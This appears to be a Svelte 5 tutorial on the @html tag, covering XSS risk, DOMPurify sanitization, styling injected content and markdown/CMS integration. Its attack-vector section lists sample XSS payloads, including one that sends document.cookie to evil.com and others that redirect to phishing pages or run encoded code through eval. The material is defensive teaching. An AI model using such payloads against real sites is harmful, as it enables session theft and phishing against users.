Raw HTML Injection
Every web application eventually encounters a scenario where pre-formatted HTML content must be rendered directly into the DOM. Whether you’re displaying rich text from a CMS, rendering markdown-to-HTML conversions, or integrating third-party content, Svelte 5’s @html tag provides the escape hatch from the framework’s default text escaping behavior.
However, this power comes with significant responsibility. The @html tag bypasses Svelte’s built-in protection against Cross-Site Scripting (XSS) attacks, making it one of the most security-sensitive features in your toolkit. Understanding when to use it, how to protect against vulnerabilities, and how to style dynamically injected content properly will distinguish robust applications from those waiting to be exploited.
This tutorial provides a deep dive into @html, covering everything from basic syntax to enterprise-grade security patterns, styling strategies, and real-world integration scenarios.
The Problem
Escaping vs. Rendering
By default, Svelte treats all interpolated content as text, automatically escaping HTML entities to prevent injection attacks:
<script>
let content = '<strong>Bold text</strong>'
</script>
<p>{content}</p>
<!-- Renders: <strong>Bold text</strong> (as visible text, not bold) --> This behavior is intentional and protective—if content came from user input and contained <script>alert('hacked')</script>, the malicious code would be displayed as harmless text rather than executed.
But what about legitimate use cases where you actually need HTML to render as HTML? This is where @html enters the picture.
Basic Syntax and Behavior
The @html tag accepts any expression that evaluates to a string and injects it directly into the DOM:
<script>
let content = '<strong>Bold text</strong>'
</script>
<article>
{@html content}
</article>
<!-- Renders: Bold text (actually bold) --> The expression inside @html must produce valid, standalone HTML. Svelte doesn’t parse or validate the HTML—it simply inserts it into the DOM using innerHTML under the hood.
What Constitutes Valid HTML?
The HTML must be complete and well-formed when considered in isolation. This means you cannot split tags across multiple @html expressions:
<!-- AVOID: Split tags don't work -->
{@html '<div>'}
Some content here
{@html '</div>'}
<!-- PREFERRED: Complete HTML structure -->
{@html '<div>Some content here</div>'} The reason for this limitation lies in how browsers parse HTML. When Svelte injects <div> as a standalone string, the browser’s HTML parser attempts to create a complete element, often auto-closing it immediately. The subsequent </div> then becomes an orphaned closing tag.
Reactive HTML Content
The @html expression is fully reactive. When the expression’s value changes, Svelte replaces the entire injected content:
<script>
let theme = $state<'light' | 'dark'>('light')
let styledContent = $derived(
theme === 'light'
? '<p style="color: #333;">Light mode content</p>'
: '<p style="color: #ccc;">Dark mode content</p>'
)
</script>
<button onclick={() => (theme = theme === 'light' ? 'dark' : 'light')}> Toggle Theme </button>
<div>
{@html styledContent}
</div> Each time theme changes, the entire HTML content is replaced. This is important to understand because any DOM state (like scroll position within the injected content, or focus state) will be lost on updates.
Critical Security Consideration
XSS Attacks
Never use @html with untrusted or user-provided content without sanitization.
Cross-Site Scripting (XSS) attacks occur when malicious scripts are injected into web pages viewed by other users. The @html tag is a direct vector for such attacks if misused:
<script>
// DANGEROUS: User-provided content
let userComment = '<img src="x" onerror="alert(\'XSS Attack!\')">'
</script>
<!-- This executes the malicious script! -->
{@html userComment} When rendered, the browser attempts to load the non-existent image, fails, and executes the onerror handler—running arbitrary JavaScript in the context of your application.
Real-World Attack Vectors
Understanding common XSS payloads helps you appreciate why sanitization is non-negotiable:
// Event handler injection
'<svg onload="fetch(\'https://evil.com/steal?cookie=\'+document.cookie)">'
// Script tag injection
'<script>document.location="https://evil.com/phish"</script>'
// Data URI exploitation
'<a href="javascript:alert(document.cookie)">Click me</a>'
// CSS-based attacks
'<style>body{background:url("https://evil.com/track")}</style>'
// Nested encoding attacks
'<img src=x onerror="eval(atob(\'YWxlcnQoJ1hTUycpOw==\'))">' These payloads can steal cookies, redirect users to phishing sites, track user behavior, or perform actions on behalf of authenticated users.
The Solution
HTML Sanitization with DOMPurify
DOMPurify is the industry-standard library for sanitizing HTML content. It strips dangerous elements and attributes while preserving safe, structural HTML:
npm install dompurify
npm install --save-dev @types/dompurify Basic Sanitization Pattern
<script lang="ts">
import DOMPurify from 'dompurify'
interface Props {
rawHtml: string
}
let { rawHtml }: Props = $props()
let safeHtml = $derived(DOMPurify.sanitize(rawHtml))
</script>
<div class="content">
{@html safeHtml}
</div> DOMPurify removes dangerous content while preserving safe elements:
import DOMPurify from 'dompurify'
// Malicious input
DOMPurify.sanitize('<img src=x onerror=alert(1)//>')
// Returns: '<img src="x">'
// Script injection
DOMPurify.sanitize('<script>alert("XSS")</script><p>Safe content</p>')
// Returns: '<p>Safe content</p>'
// SVG-based attacks
DOMPurify.sanitize('<svg><g/onload=alert(2)//<p>')
// Returns: '<svg><g></g></svg>'
// Data URI in iframes
DOMPurify.sanitize('<p>abc<iframe//src=jAva	script:alert(3)>def</p>')
// Returns: '<p>abc</p>' Creating a Reusable SafeHtml Component
For consistent security across your application, create a dedicated component:
<!-- SafeHtml.svelte -->
<script lang="ts">
import DOMPurify from 'dompurify'
import type { Config } from 'dompurify'
interface Props {
html: string
config?: Config
class?: string
}
let { html, config = {}, class: className = '' }: Props = $props()
// Default secure configuration
const defaultConfig: Config = {
ALLOWED_TAGS: [
'p',
'br',
'strong',
'em',
'u',
's',
'a',
'ul',
'ol',
'li',
'h1',
'h2',
'h3',
'h4',
'h5',
'h6',
'blockquote',
'code',
'pre',
'img',
'figure',
'figcaption',
'table',
'thead',
'tbody',
'tr',
'th',
'td',
'div',
'span',
'article',
'section',
'header',
'footer'
],
ALLOWED_ATTR: [
'href',
'src',
'alt',
'title',
'class',
'id',
'target',
'rel',
'width',
'height',
'loading'
],
ALLOW_DATA_ATTR: false,
ADD_ATTR: ['target'],
FORBID_TAGS: ['style', 'script', 'iframe', 'form', 'input', 'button'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover']
}
let safeHtml = $derived(DOMPurify.sanitize(html, { ...defaultConfig, ...config }))
</script>
<div class={className}>
{@html safeHtml}
</div> Usage throughout your application:
<script>
import SafeHtml from '$lib/components/SafeHtml.svelte'
let cmsContent = $state('')
// Fetch from CMS...
</script>
<SafeHtml html={cmsContent} class="prose" /> Advanced DOMPurify Configuration
For specific use cases, DOMPurify offers fine-grained control:
<script lang="ts">
import DOMPurify from 'dompurify'
// Allow only specific link protocols
const sanitizeWithProtocols = (html: string) => {
return DOMPurify.sanitize(html, {
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i
})
}
// Preserve specific custom elements (Web Components)
const sanitizeWithCustomElements = (html: string) => {
return DOMPurify.sanitize(html, {
CUSTOM_ELEMENT_HANDLING: {
tagNameCheck: /^my-/, // Allow elements starting with 'my-'
attributeNameCheck: /^data-/, // Allow data attributes
allowCustomizedBuiltInElements: false
}
})
}
// Strict sanitization for comments/user content
const sanitizeUserContent = (html: string) => {
return DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
ALLOWED_ATTR: ['href'],
ALLOW_DATA_ATTR: false
})
}
</script> Server-Side Sanitization with isomorphic-dompurify
For SvelteKit applications with SSR, use isomorphic-dompurify which works in both browser and Node.js environments:
npm install isomorphic-dompurify <script lang="ts">
import DOMPurify from 'isomorphic-dompurify'
interface Props {
html: string
}
let { html }: Props = $props()
let safeHtml = $derived(DOMPurify.sanitize(html))
</script>
{@html safeHtml} Styling Injected HTML Content
Content rendered via @html exists outside Svelte’s component scope awareness. This means Svelte’s scoped styles won’t apply to dynamically injected elements.
The Scoping Problem
<script>
let content = '<p class="highlight">This paragraph</p>'
</script>
<article>
{@html content}
</article>
<style>
/* AVOID: This won't work - Svelte marks it as unused */
article p {
color: blue;
}
.highlight {
background: yellow;
}
</style> Svelte’s compiler analyzes your template at build time and adds unique class identifiers to elements it finds. Since the <p> and .highlight elements don’t exist in the template (they’re injected at runtime), Svelte considers these styles unused and may remove them.
1. The :global Modifier
Use :global to escape Svelte’s scoping, but scope it to a container to prevent leakage:
<script>
let content = '<p class="highlight">Styled paragraph</p><a href="#">Link</a>'
</script>
<article class="html-content">
{@html content}
</article>
<style>
.html-content {
/* Container styles remain scoped */
padding: 1rem;
border: 1px solid #ddd;
}
/* All descendants of .html-content are globally styled */
.html-content :global {
p {
color: #333;
line-height: 1.6;
margin-bottom: 1rem;
}
a {
color: hotpink;
text-decoration: underline;
}
.highlight {
background: yellow;
padding: 0.25rem;
}
img {
max-width: 100%;
height: auto;
}
pre {
background: #f4f4f4;
padding: 1rem;
overflow-x: auto;
}
code {
font-family: 'Fira Code', monospace;
font-size: 0.9em;
}
blockquote {
border-left: 4px solid #ddd;
padding-left: 1rem;
margin-left: 0;
font-style: italic;
}
}
</style> 2. CSS Custom Properties for Theming
Leverage CSS custom properties to make injected content themeable:
<script>
let content = '<p>Themed paragraph</p><a href="#">Themed link</a>'
let theme = $state<'light' | 'dark'>('light')
</script>
<article class="html-content" class:dark={theme === 'dark'}>
{@html content}
</article>
<button onclick={() => (theme = theme === 'light' ? 'dark' : 'light')}> Toggle Theme </button>
<style>
.html-content {
--text-color: #333;
--link-color: #0066cc;
--bg-color: #fff;
--code-bg: #f4f4f4;
background: var(--bg-color);
padding: 1.5rem;
transition: all 0.3s ease;
}
.html-content.dark {
--text-color: #e0e0e0;
--link-color: #66b3ff;
--bg-color: #1a1a1a;
--code-bg: #2d2d2d;
}
.html-content :global {
p,
li,
td {
color: var(--text-color);
}
a {
color: var(--link-color);
}
pre,
code {
background: var(--code-bg);
}
}
</style> 3. Utility-First with Tailwind CSS
If you’re using Tailwind, the @tailwindcss/typography plugin provides excellent prose styling:
npm install @tailwindcss/typography <script>
let content = '<h2>Article Title</h2><p>Rich formatted content...</p>'
</script>
<article class="prose prose-lg dark:prose-invert max-w-none">
{@html content}
</article> The prose classes automatically style all common HTML elements with sensible typography defaults.
Real-World Integration Patterns
Choosing the Right Tool: mdsvex vs Runtime Parsing
Before diving into markdown rendering patterns, it’s crucial to understand when @html with runtime parsing is appropriate versus when you should use mdsvex—a build-time markdown preprocessor for Svelte.
| Aspect | mdsvex | Runtime Parsers (marked, etc.) |
|---|---|---|
| When it runs | Build time (preprocessor) | Runtime (browser/server) |
| Input | .md / .svx files in your project | Markdown strings from any source |
| Output | Compiled Svelte components | HTML strings requiring @html |
| Use case | Static content (blog posts, docs) | Dynamic content (CMS, user input, APIs) |
| Svelte components in markdown | ✅ Fully supported | ❌ Not possible |
| Requires sanitization | No (trusted source) | Yes (always sanitize) |
Use mdsvex when:
- You’re building a blog or documentation site with SvelteKit
- Markdown files exist in your project at build time
- You want to embed Svelte components inside markdown
- Content is authored by trusted developers
<!-- src/routes/blog/my-post.md - Processed by mdsvex at BUILD time -->
--- title: My Blog Post --- # Hello World
<CustomAlert type="info"> This Svelte component works inside markdown! </CustomAlert>
No `@html` needed—this becomes a real Svelte component. Use runtime parsers (marked, unified, etc.) with @html when:
- Content comes from a CMS API at runtime
- Users submit markdown in forms or comments
- Markdown is stored in a database
- Content doesn’t exist until the application runs
<script>
// Content fetched at runtime - must use {@html}
let { data } = $props()
let html = $derived(marked.parse(data.cmsContent))
</script>
{@html DOMPurify.sanitize(html)} Patterns for Dynamic HTML Injection
The patterns below focus on runtime scenarios where @html is necessary. For static markdown content in SvelteKit, configure mdsvex in your svelte.config.js instead.
1. Markdown Rendering
When markdown content arrives at runtime (from APIs, databases, or user input), use a runtime parser like marked:
npm install marked dompurify
npm install --save-dev @types/dompurify <!-- MarkdownRenderer.svelte -->
<script lang="ts">
import { marked } from 'marked'
import DOMPurify from 'dompurify'
interface Props {
source: string
class?: string
}
let { source, class: className = '' }: Props = $props()
// Configure marked for security
marked.setOptions({
gfm: true, // GitHub Flavored Markdown
breaks: true // Convert \n to <br>
})
let html = $derived.by(() => {
const rawHtml = marked.parse(source) as string
return DOMPurify.sanitize(rawHtml, {
USE_PROFILES: { html: true }
})
})
</script>
<div class="markdown-content {className}">
{@html html}
</div>
<style>
.markdown-content :global {
h1,
h2,
h3,
h4,
h5,
h6 {
margin-top: 1.5em;
margin-bottom: 0.5em;
font-weight: 600;
}
h1 {
font-size: 2rem;
}
h2 {
font-size: 1.5rem;
}
h3 {
font-size: 1.25rem;
}
p {
margin-bottom: 1rem;
line-height: 1.7;
}
ul,
ol {
margin-bottom: 1rem;
padding-left: 1.5rem;
}
li {
margin-bottom: 0.25rem;
}
code {
background: #f0f0f0;
padding: 0.125rem 0.25rem;
border-radius: 0.25rem;
font-size: 0.875em;
}
pre {
background: #1e1e1e;
color: #d4d4d4;
padding: 1rem;
border-radius: 0.5rem;
overflow-x: auto;
margin-bottom: 1rem;
}
pre code {
background: transparent;
padding: 0;
color: inherit;
}
blockquote {
border-left: 4px solid #3b82f6;
padding-left: 1rem;
margin: 1rem 0;
color: #666;
font-style: italic;
}
a {
color: #3b82f6;
text-decoration: underline;
}
a:hover {
color: #2563eb;
}
img {
max-width: 100%;
height: auto;
border-radius: 0.5rem;
}
table {
width: 100%;
border-collapse: collapse;
margin-bottom: 1rem;
}
th,
td {
border: 1px solid #ddd;
padding: 0.5rem;
text-align: left;
}
th {
background: #f5f5f5;
font-weight: 600;
}
hr {
border: none;
border-top: 1px solid #ddd;
margin: 2rem 0;
}
}
</style> Usage:
<script>
import MarkdownRenderer from '$lib/components/MarkdownRenderer.svelte'
let markdown = `
# Welcome to My Blog
This is a **bold** statement with some *italic* text.
## Code Example
\`\`\`javascript
const greeting = 'Hello, World!';
console.log(greeting);
\`\`\`
> A wise quote goes here.
- List item 1
- List item 2
- List item 3
`
</script>
<MarkdownRenderer source={markdown} class="prose-lg" /> 2. CMS Content Integration
When fetching HTML content from a headless CMS:
<!-- CmsContent.svelte -->
<script lang="ts">
import DOMPurify from 'isomorphic-dompurify'
import { onMount } from 'svelte'
interface Props {
content: string
allowIframes?: boolean
allowEmbeds?: boolean
}
let { content, allowIframes = false, allowEmbeds = false }: Props = $props()
// Build configuration based on props
let config = $derived.by(() => {
const baseConfig = {
ALLOWED_TAGS: [
'p',
'br',
'strong',
'em',
'u',
's',
'a',
'ul',
'ol',
'li',
'h1',
'h2',
'h3',
'h4',
'h5',
'h6',
'blockquote',
'code',
'pre',
'img',
'figure',
'figcaption',
'table',
'thead',
'tbody',
'tr',
'th',
'td',
'div',
'span',
'article',
'section',
'aside'
],
ALLOWED_ATTR: [
'href',
'src',
'alt',
'title',
'class',
'id',
'target',
'rel',
'width',
'height',
'loading',
'srcset',
'sizes'
]
}
if (allowIframes) {
baseConfig.ALLOWED_TAGS.push('iframe')
baseConfig.ALLOWED_ATTR.push('frameborder', 'allowfullscreen', 'allow')
}
if (allowEmbeds) {
baseConfig.ALLOWED_TAGS.push('video', 'audio', 'source', 'embed')
baseConfig.ALLOWED_ATTR.push('controls', 'autoplay', 'loop', 'muted', 'type')
}
return baseConfig
})
let safeContent = $derived(DOMPurify.sanitize(content, config))
// Post-process links to add security attributes
let container: HTMLElement | null = $state(null)
$effect(() => {
if (container) {
// Add rel="noopener noreferrer" to external links
const links = container.querySelectorAll('a[href^="http"]')
links.forEach((link) => {
link.setAttribute('rel', 'noopener noreferrer')
link.setAttribute('target', '_blank')
})
// Add loading="lazy" to images
const images = container.querySelectorAll('img')
images.forEach((img) => {
img.setAttribute('loading', 'lazy')
})
}
})
</script>
<div class="cms-content" bind:this={container}>
{@html safeContent}
</div>
<style>
.cms-content :global {
/* Typography */
font-family:
system-ui,
-apple-system,
sans-serif;
line-height: 1.7;
color: #333;
/* Headings */
h1,
h2,
h3 {
margin-top: 2rem;
margin-bottom: 1rem;
line-height: 1.3;
}
/* Paragraphs */
p {
margin-bottom: 1.25rem;
}
/* Links */
a {
color: #0066cc;
text-decoration: none;
border-bottom: 1px solid transparent;
transition: border-color 0.2s;
}
a:hover {
border-bottom-color: currentColor;
}
/* Images */
img {
max-width: 100%;
height: auto;
border-radius: 8px;
}
figure {
margin: 2rem 0;
}
figcaption {
text-align: center;
font-size: 0.875rem;
color: #666;
margin-top: 0.5rem;
}
/* Iframes (videos, embeds) */
iframe {
max-width: 100%;
border-radius: 8px;
}
}
</style> 3. Syntax Highlighting for Code Blocks
Integrating with syntax highlighting libraries:
npm install highlight.js <!-- CodeBlock.svelte -->
<script lang="ts">
import hljs from 'highlight.js'
import DOMPurify from 'dompurify'
interface Props {
code: string
language?: string
}
let { code, language = 'plaintext' }: Props = $props()
let highlightedCode = $derived.by(() => {
try {
const result =
language && hljs.getLanguage(language)
? hljs.highlight(code, { language })
: hljs.highlightAuto(code)
// highlight.js output is safe, but sanitize anyway for defense in depth
return DOMPurify.sanitize(result.value, {
ALLOWED_TAGS: ['span'],
ALLOWED_ATTR: ['class']
})
} catch {
// Fallback to escaped plain text
return DOMPurify.sanitize(code)
}
})
</script>
<pre class="code-block"><code class="hljs language-{language}">{@html highlightedCode}</code></pre>
<style>
.code-block {
background: #1e1e1e;
border-radius: 8px;
padding: 1rem;
overflow-x: auto;
font-family: 'Fira Code', 'Consolas', monospace;
font-size: 0.875rem;
line-height: 1.5;
}
.code-block :global {
/* highlight.js theme tokens */
.hljs-keyword {
color: #569cd6;
}
.hljs-string {
color: #ce9178;
}
.hljs-number {
color: #b5cea8;
}
.hljs-function {
color: #dcdcaa;
}
.hljs-comment {
color: #6a9955;
}
.hljs-variable {
color: #9cdcfe;
}
.hljs-built_in {
color: #4ec9b0;
}
}
</style> 4. Rich Text Editor Output
Handling content from WYSIWYG editors like TipTap, Quill, or CKEditor:
<!-- RichTextDisplay.svelte -->
<script lang="ts">
import DOMPurify from 'dompurify'
interface Props {
html: string
editorType?: 'tiptap' | 'quill' | 'ckeditor'
}
let { html, editorType = 'tiptap' }: Props = $props()
// Editor-specific configurations
const editorConfigs = {
tiptap: {
ALLOWED_TAGS: [
'p',
'br',
'strong',
'em',
'u',
's',
'a',
'ul',
'ol',
'li',
'h1',
'h2',
'h3',
'blockquote',
'code',
'pre',
'hr',
'img',
'table',
'thead',
'tbody',
'tr',
'th',
'td'
],
ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'colspan', 'rowspan']
},
quill: {
ALLOWED_TAGS: [
'p',
'br',
'strong',
'em',
'u',
's',
'a',
'ul',
'ol',
'li',
'h1',
'h2',
'h3',
'blockquote',
'pre',
'img',
'span'
],
ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'style'],
ALLOW_DATA_ATTR: true
},
ckeditor: {
ALLOWED_TAGS: [
'p',
'br',
'strong',
'em',
'u',
's',
'a',
'ul',
'ol',
'li',
'h1',
'h2',
'h3',
'h4',
'blockquote',
'pre',
'hr',
'img',
'figure',
'figcaption',
'table',
'thead',
'tbody',
'tr',
'th',
'td',
'div',
'span'
],
ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'style', 'width', 'height']
}
}
let safeHtml = $derived(DOMPurify.sanitize(html, editorConfigs[editorType]))
</script>
<div class="rich-text-content editor-{editorType}">
{@html safeHtml}
</div> Common Struggles and Solutions
1. Styles Not Applying
Problem: You’ve written CSS for injected content, but nothing is styled.
Cause: Svelte’s scoped styles don’t reach dynamically injected elements.
Solution: Use the :global modifier scoped to a container:
<style>
/* Scope global styles to prevent leakage */
.my-container :global {
p {
color: blue;
}
a {
color: red;
}
}
</style> 2. XSS Vulnerability Warnings in Security Audits
Problem: Security scanners flag @html usage as a vulnerability.
Solution: Always sanitize and document your approach:
<script lang="ts">
import DOMPurify from 'isomorphic-dompurify'
/**
* @security This component sanitizes all HTML input using DOMPurify
* with a strict allowlist configuration. See security documentation
* for approved usage patterns.
*/
let safeHtml = $derived(DOMPurify.sanitize(html, STRICT_CONFIG))
</script> 3. Event Handlers Not Working on Injected Elements
Problem: You want to add click handlers to links in injected HTML.
Cause: Svelte event handlers only work on elements in the template, not injected content.
Solution: Use event delegation:
<script lang="ts">
import DOMPurify from 'dompurify'
let { html }: { html: string } = $props()
function handleClick(event: MouseEvent) {
const target = event.target as HTMLElement
// Check if clicked element is a link
if (target.tagName === 'A') {
event.preventDefault()
const href = target.getAttribute('href')
console.log('Link clicked:', href)
// Handle navigation, analytics, etc.
}
}
</script>
<!-- svelte-ignore a11y_click_events_have_key_events -->
<!-- svelte-ignore a11y_no_static_element_interactions -->
<div onclick={handleClick}>
{@html DOMPurify.sanitize(html)}
</div> 4. DOM State Lost on Reactive Updates
Problem: User scroll position, form inputs, or focus state disappear when content updates.
Cause: @html replaces the entire DOM subtree on each reactive update.
Solution: Use {#key} blocks to control when replacement happens, or cache the sanitized result:
<script lang="ts">
import DOMPurify from 'dompurify'
let { html }: { html: string } = $props()
// Only re-sanitize when html actually changes
let lastHtml = ''
let cachedSafeHtml = ''
let safeHtml = $derived.by(() => {
if (html !== lastHtml) {
lastHtml = html
cachedSafeHtml = DOMPurify.sanitize(html)
}
return cachedSafeHtml
})
</script> 5. SSR Hydration Mismatches
Problem: Console warnings about hydration mismatches when using @html with SSR.
Cause: Server and client produce different sanitization results, or content changes between server render and client hydration.
Solution: Ensure consistent sanitization by using isomorphic-dompurify and avoiding browser-only APIs during SSR:
<script lang="ts">
import DOMPurify from 'isomorphic-dompurify'
import { browser } from '$app/environment'
let { html }: { html: string } = $props()
// Use consistent configuration on both server and client
const config = {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
ALLOWED_ATTR: ['href']
}
let safeHtml = $derived(DOMPurify.sanitize(html, config))
</script>
{@html safeHtml} 6. Content Flash on Load
Problem: Unstyled content briefly appears before styles apply.
Solution: Use a loading state or CSS containment:
<script lang="ts">
let { html }: { html: string } = $props()
let loaded = $state(false)
$effect(() => {
// Give browser time to parse and apply styles
requestAnimationFrame(() => {
loaded = true
})
})
</script>
<div class="content" class:loaded>
{@html html}
</div>
<style>
.content {
opacity: 0;
transition: opacity 0.2s;
}
.content.loaded {
opacity: 1;
}
</style> TypeScript Integration
Type-safe patterns for @html usage:
// types.ts
/**
* Represents HTML content that has been sanitized and is safe to render.
* This branded type helps prevent accidental rendering of unsanitized HTML.
*/
export type SanitizedHtml = string & { readonly __brand: 'SanitizedHtml' }
/**
* Sanitization configuration presets
*/
export type SanitizationPreset = 'strict' | 'moderate' | 'permissive'
export interface SanitizationConfig {
allowedTags: string[]
allowedAttributes: string[]
allowDataAttributes: boolean
allowIframes: boolean
} <!-- TypedSafeHtml.svelte -->
<script lang="ts">
import DOMPurify from 'isomorphic-dompurify'
import type { SanitizedHtml, SanitizationPreset, SanitizationConfig } from './types'
const presets: Record<SanitizationPreset, Partial<SanitizationConfig>> = {
strict: {
allowedTags: ['p', 'br', 'strong', 'em'],
allowedAttributes: [],
allowDataAttributes: false,
allowIframes: false
},
moderate: {
allowedTags: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
allowedAttributes: ['href', 'class'],
allowDataAttributes: false,
allowIframes: false
},
permissive: {
allowedTags: [
'p',
'br',
'strong',
'em',
'a',
'ul',
'ol',
'li',
'code',
'pre',
'h1',
'h2',
'h3',
'h4',
'h5',
'h6',
'blockquote',
'img',
'figure',
'figcaption'
],
allowedAttributes: ['href', 'src', 'alt', 'class', 'title'],
allowDataAttributes: true,
allowIframes: false
}
}
interface Props {
html: string
preset?: SanitizationPreset
customConfig?: Partial<SanitizationConfig>
}
let { html, preset = 'moderate', customConfig }: Props = $props()
function sanitize(rawHtml: string): SanitizedHtml {
const config = { ...presets[preset], ...customConfig }
const result = DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: config.allowedTags,
ALLOWED_ATTR: config.allowedAttributes,
ALLOW_DATA_ATTR: config.allowDataAttributes
})
return result as SanitizedHtml
}
let safeHtml = $derived(sanitize(html))
</script>
{@html safeHtml} Performance Considerations
Memoizing Sanitization
For large HTML content or frequent updates, memoize the sanitization:
<script lang="ts">
import DOMPurify from 'dompurify'
interface Props {
html: string
}
let { html }: Props = $props()
// Simple memoization
const cache = new Map<string, string>()
let safeHtml = $derived.by(() => {
const cached = cache.get(html)
if (cached) return cached
const sanitized = DOMPurify.sanitize(html)
// Limit cache size
if (cache.size > 100) {
const firstKey = cache.keys().next().value
cache.delete(firstKey)
}
cache.set(html, sanitized)
return sanitized
})
</script> Lazy Loading Heavy Content
For pages with many @html blocks:
<script lang="ts">
import DOMPurify from 'dompurify'
interface Props {
html: string
}
let { html }: Props = $props()
let visible = $state(false)
let container: HTMLElement
$effect(() => {
const observer = new IntersectionObserver(
([entry]) => {
if (entry.isIntersecting) {
visible = true
observer.disconnect()
}
},
{ rootMargin: '100px' }
)
observer.observe(container)
return () => observer.disconnect()
})
let safeHtml = $derived(visible ? DOMPurify.sanitize(html) : '')
</script>
<div bind:this={container} class="lazy-html">
{#if visible}
{@html safeHtml}
{:else}
<div class="placeholder">Loading...</div>
{/if}
</div> Best Practices Summary
Never trust user input: Always sanitize HTML from any external source, including your own database if users can influence content.
Use DOMPurify or equivalent: Don’t write custom sanitization logic; use battle-tested libraries maintained by security researchers.
Prefer allowlists over blocklists: Explicitly list what’s allowed rather than trying to block known bad patterns.
Scope your global styles: When using
:global, always scope it to a container class to prevent style leakage.Use
isomorphic-dompurifyfor SSR: Ensure consistent behavior between server and client rendering.Document security decisions: Comment your code to explain why certain tags/attributes are allowed.
Consider Content Security Policy: Add CSP headers to your application as an additional layer of defense.
Audit regularly: Periodically review
@htmlusage in your codebase and update sanitization rules.Test with malicious payloads: Include XSS test cases in your test suite to verify sanitization works correctly.
Create reusable components: Centralize
@htmlusage in dedicated components with consistent security configurations.
Conclusion
The @html tag is a powerful tool that bridges the gap between Svelte’s safe-by-default approach and the reality that many applications must render dynamic HTML content. By understanding its implications and implementing proper sanitization, you can safely leverage this feature for CMS content, markdown rendering, syntax highlighting, and other legitimate use cases.
The key is treating @html as a security-sensitive operation that requires the same careful handling you would give to database queries or authentication logic. With DOMPurify handling sanitization and proper styling strategies in place, you can confidently render rich HTML content while maintaining a robust security posture.
Key Takeaways
{@html}renders raw HTML strings without escaping, making it essential for CMS content, Markdown rendering, and syntax highlighting but requiring strict XSS protection- Never trust user input - always sanitize HTML from any external source using battle-tested libraries like DOMPurify, not custom regex-based solutions
- Sanitization must use allowlists (explicitly allow safe tags/attributes) rather than blocklists (block known dangerous patterns) for effective security
- Component styles don’t apply to
@htmlcontent - Svelte’s scoping only affects compiled components, requiring:global()wrapper or external stylesheets for HTML content styling - SSR requires isomorphic sanitization - use
isomorphic-dompurifyto ensure consistent sanitization behavior between server and client rendering - DOMPurify configuration is customizable with hooks for URL validation, attribute filtering, and custom tag handling through
ALLOWED_TAGS,ALLOWED_ATTR, and hook functions - Content Security Policy adds defense-in-depth - CSP headers prevent inline script execution even if sanitization fails, providing an additional security layer
- Reusable components centralize security - create dedicated components like
<SanitizedHTML>or<MarkdownRenderer>to enforce consistent sanitization across your codebase
See Also
- Official Svelte 5 Documentation -
{@html} - DOMPurify Library - Industry-standard HTML sanitization
- OWASP XSS Prevention Cheat Sheet
- Content Security Policy (CSP) - Browser security mechanism
- Marked.js - Markdown to HTML conversion library
- Highlight.js - Syntax highlighting for code blocks
- MDN - innerHTML Security Risks
- isomorphic-dompurify - Universal DOMPurify for SSR